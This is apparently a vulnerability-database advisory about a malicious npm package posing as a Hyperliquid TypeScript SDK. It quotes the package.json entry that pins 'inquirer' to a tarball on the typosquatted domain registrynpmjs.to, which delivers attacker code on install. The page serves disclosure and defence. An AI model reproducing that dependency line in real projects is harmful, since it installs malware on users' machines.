VDB

GCVE-110-OSM-2026-10462

GCVE-110-OSM-2026-10462
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published August 14, 2026
package.json declares `inquirer` with a tarball URL pointing at registrynpmjs.to — a domain that typosquats the official npm registry (registry.npmjs.org). Running `npm install` fetches and installs whatever tarball is hosted at that attacker-controlled URL as a transitive dependency, delivering arbitrary code into the installer's node_modules on every install. The package otherwise mimics a legitimate Hyperliquid TypeScript SDK (README shape, `@nktkas/rews` dep, jsr.io/@std references), and `inquirer` (an interactive-prompt library) is not a normal runtime dependency for a trading SDK, indicating the entry exists as a delivery vector rather than a functional dependency. Judge assessment: This looks like a supply-chain trojan delivered through a typosquatted external tarball dependency: `package.json` pins `inquirer` to `https://registrynpmjs.to/inquirer-14.0.2.tgz`, which would bypass npm registry controls and fetch attacker-controlled code on install. The package otherwise presents as a legitimate Hyperliquid SDK, but the suspicious dependency is not a normal runtime need for a trading SDK and matches the attacker model described in MAL-2026-14042. The repeated `fetch("https://api.hyperliquid.xyz/exchange")` calls in `src/signing/mod.ts` and related build artifacts are consistent with a real SDK, but they do not explain the registry-bypassing install hook. Given the malicious delivery vector and the typosquat domain `registrynpmjs.to`, this should be treated as a compromise of a legitimate package rather than a false positive. ENTRY - URL-Based Dependency in package.json: ""dependencies": { "@nktkas/rews": "^2", "inquirer": "https://registrynpmjs.to/in..." DESTINATION - 5 exfil (custom-c2, ethereumAddresses) - 1 c2 (urls) (values recorded in verified_iocs) EXFIL - Network Request in esm/signing/mod.d.ts: "fetch("https:" - Network Request in esm/signing/mod.js: "fetch("https:" - Network Request in script/signing/mod.d.ts: "fetch("https:" - Network Request in script/signing/mod.js: "fetch("https:" - Network Request in src/signing/mod.ts: "fetch("https:" ADDITIONAL FINDINGS - Suspicious TLD Domain in esm/signing/mod.d.ts: "https://api.hyperliquid.xyz" PAYLOAD FILES esm/signing/mod.d.ts (+ esm/signing/mod.js, script/signing/mod.d.ts)

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknown@devmikets/hyperliquid-sdkall (affected)

References

advisory
vendor

Browse GCVE Records

3,530 records in the GCVE database · Updated September 5, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›